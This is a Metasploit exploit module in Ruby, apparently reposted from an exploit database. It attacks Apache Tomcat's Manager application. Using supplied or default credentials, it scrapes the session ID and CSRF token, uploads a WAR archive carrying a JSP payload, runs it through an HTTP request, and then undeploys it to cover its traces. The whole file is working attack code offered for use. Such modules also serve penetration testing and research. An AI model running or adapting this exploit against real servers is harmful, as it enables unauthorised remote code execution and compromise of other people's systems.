## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] } CSRF_VAR = 'CSRF_NONCE=' include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Tomcat Manager Application Upload Authenticated Code Execution', 'Description' => %q{ This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager" application. The payload is uploaded as a WAR archive containing a jsp application using a POST request against the /manager/html/upload component. NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads. }, 'Author' => 'rangercha', 'License' => MSF_LICENSE, 'References' => [ # This is based on jduck's tomcat_mgr_deploy. # the tomcat_mgr_deploy o longer works for current versions of tomcat due to # CSRF protection tokens. Also PUT requests against the /manager/html/deploy # aren't allowed anymore. # There is no single vulnerability associated with deployment functionality. # Instead, the focus has been on insecure/blank/hardcoded default passwords. # The following references refer to HP Operations Manager ['CVE', '2009-3843'], ['OSVDB', '60317'], ['CVE', '2009-4189'], ['OSVDB', '60670'], # HP Operations Dashboard ['CVE', '2009-4188'], # IBM Cognos Express Default user/pass ['BID', '38084'], ['CVE', '2010-0557'], ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179'], # IBM Rational Quality Manager and Test Lab Manager ['CVE', '2010-4094'], ['ZDI', '10-214'], # 'admin' password is blank in default Windows installer ['CVE', '2009-3548'], ['OSVDB', '60176'], ['BID', '36954'], # tomcat docs ['URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html'] ], 'Platform' => %w{ java linux win }, # others? 'Targets' => [ [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ], # # Platform specific targets only # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 09 2009')) register_options( [ OptString.new('USERNAME', [false, 'The username to authenticate as']), OptString.new('PASSWORD', [false, 'The password for the specified username']), # /cognos_express/manager/ for Cognos Express (19300) OptString.new('TARGETURI', [true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager']) ], self.class) end def check res = query_manager disconnect return CheckCode::Unknown if res.nil? if res.code.between?(400, 499) vprint_error("#{peer} - Server rejected the credentials") return CheckCode::Unknown end return CheckCode::Safe unless res.code == 200 # if res.code == 200 # there should be access to the Tomcat Manager and to the status page res = query_status return CheckCode::Unknown unless res plat = detect_platform(res.body) arch = detect_arch(res.body) return CheckCode::Unknown unless plat and arch vprint_status("#{peer} - Tomcat Manager found running on #{plat} platform and #{arch} architecture") report_auth_info( :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), :user => datastore['USERNAME'], :pass => datastore['PASSWORD'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) return CheckCode::Appears end def exploit @app_base = rand_text_alphanumeric(4 + rand(32 - 4)) @jsp_name = rand_text_alphanumeric(4 + rand(32 - 4)) # # Find the session ID and the CSRF token # print_status("#{peer} - Retrieving session ID and CSRF token...") unless access_manager? fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") end # # Upload Payload # print_status("#{peer} - Uploading and deploying #{@app_base}...") if upload_payload report_auth_info( :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), :user => datastore['USERNAME'], :pass => datastore['PASSWORD'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) else fail_with(Failure::Unknown, "Upload failed") end # # Execute Payload # print_status("#{peer} - Executing #{@app_base}...") unless execute_payload fail_with(Failure::Unknown, "Failed to execute the payload") end # # Get the new CSRF token & session id # unless access_manager? fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") end # # Delete the deployed payload # print_status("#{peer} - Undeploying #{@app_base} ...") unless undeploy_app print_warning("#{peer} - Failed to undeploy #{@app_base}...") end end def query_status path = normalize_uri(target_uri.path.to_s, 'status') res = send_request_raw('uri' => path) unless res and res.code == 200 vprint_error("Failed: Error requesting #{path}") return nil end return res end def query_manager path = normalize_uri(target_uri.path.to_s, '/html') res = send_request_raw('uri' => path) return res end def vars_get vars = {} unless @csrf_token.nil? vars = { "path" => @app_base, "org.apache.catalina.filters.CSRF_NONCE" => @csrf_token } end return vars end def detect_platform(body) return nil if body.blank? i=0 body.each_line do |ln| ln.chomp! i = 1 if ln =~ /OS Name/ if i == 9 or i == 11 if ln.include? "Windows" return 'win' elsif ln.include? "Linux" return 'linux' elsif i==11 return 'unknown' end end i = i+1 if i > 0 end end def detect_arch(body) return nil if body.blank? i=0 body.each_line do |ln| ln.chomp! i = 1 if ln =~ /OS Architecture/ if i==9 or i==11 if ln.include? 'x86' return ARCH_X86 elsif ln.include? 'i386' return ARCH_X86 elsif ln.include? 'i686' return ARCH_X86 elsif ln.include? 'x86_64' return ARCH_X86 elsif ln.include? 'amd64' return ARCH_X86 elsif i==11 return 'unknown' end end i = i + 1 if i > 0 end end def find_csrf(res = nil) return "" if res.blank? vprint_status("#{peer} - Finding CSRF token...") body = res.body body.each_line do |ln| ln.chomp! csrf_nonce = ln.index(CSRF_VAR) next if csrf_nonce.nil? token = ln[csrf_nonce + CSRF_VAR.length, 32] return token end return "" end def generate_multipart_msg(boundary, data) # Rex::MIME::Message is breaking the binary upload when trying to # enforce CRLF for SMTP compatibility war_multipart = "-----------------------------" war_multipart << boundary war_multipart << "\r\nContent-Disposition: form-data; name=\"deployWar\"; filename=\"" war_multipart << @app_base war_multipart << ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n" war_multipart << data war_multipart << "\r\n-----------------------------" war_multipart << boundary war_multipart << "--\r\n" end def war_payload payload.encoded_war({ :app_name => @app_base, :jsp_name => @jsp_name, :arch => target.arch, :platform => target.platform }).to_s end def send_war_payload(url, war) boundary_identifier = rand_text_numeric(28) res = send_request_cgi({ 'uri' => url, 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=---------------------------' + boundary_identifier, 'user' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'cookie' => @session_id, 'vars_get' => vars_get, 'data' => generate_multipart_msg(boundary_identifier, war), }) return res end def send_request_undeploy(url) res = send_request_cgi({ 'uri' => url, 'vars_get' => vars_get, 'method' => 'POST', 'user' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'cookie' => @session_id }) return res end def access_manager? res = query_manager return false unless res and res.code == 200 @session_id = res.get_cookies @csrf_token = find_csrf(res) return true end def upload_payload war = war_payload upload_path = normalize_uri(target_uri.path.to_s, "html", "upload") vprint_status("#{peer} - Uploading #{war.length} bytes as #{@app_base}.war ...") res = send_war_payload(upload_path, war) return parse_upload_response(res) end def parse_upload_response(res) unless res vprint_error("#{peer} - Upload failed on #{upload_path} [No Response]") return false end if res.code < 200 or res.code >= 300 vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401 vprint_error("Upload failed on #{upload_path} [#{res.code} #{res.message}]") return false end return true end def execute_payload jsp_path = normalize_uri(@app_base, "#{@jsp_name}.jsp") vprint_status("#{peer} - Executing #{jsp_path}...") res = send_request_cgi({ 'uri' => jsp_path, 'method' => 'GET' }) return parse_execute_response(res) end def parse_execute_response(res) unless res vprint_error("#{peer} - Execution failed on #{@app_base} [No Response]") return false end if res and (res.code < 200 or res.code >= 300) vprint_error("#{peer} - Execution failed on #{@app_base} [#{res.code} #{res.message}]") return false end return true end def undeploy_app undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy") res = send_request_undeploy(undeploy_url) unless res vprint_warning("#{peer} - WARNING: Undeployment failed on #{undeploy_url} [No Response]") return false end if res and (res.code < 200 or res.code >= 300) vprint_warning("#{peer} - Deletion failed on #{undeploy_url} [#{res.code} #{res.message}]") return false end return true end end # Iranian Exploit DataBase = http://IeDb.Ir [2014-02-04]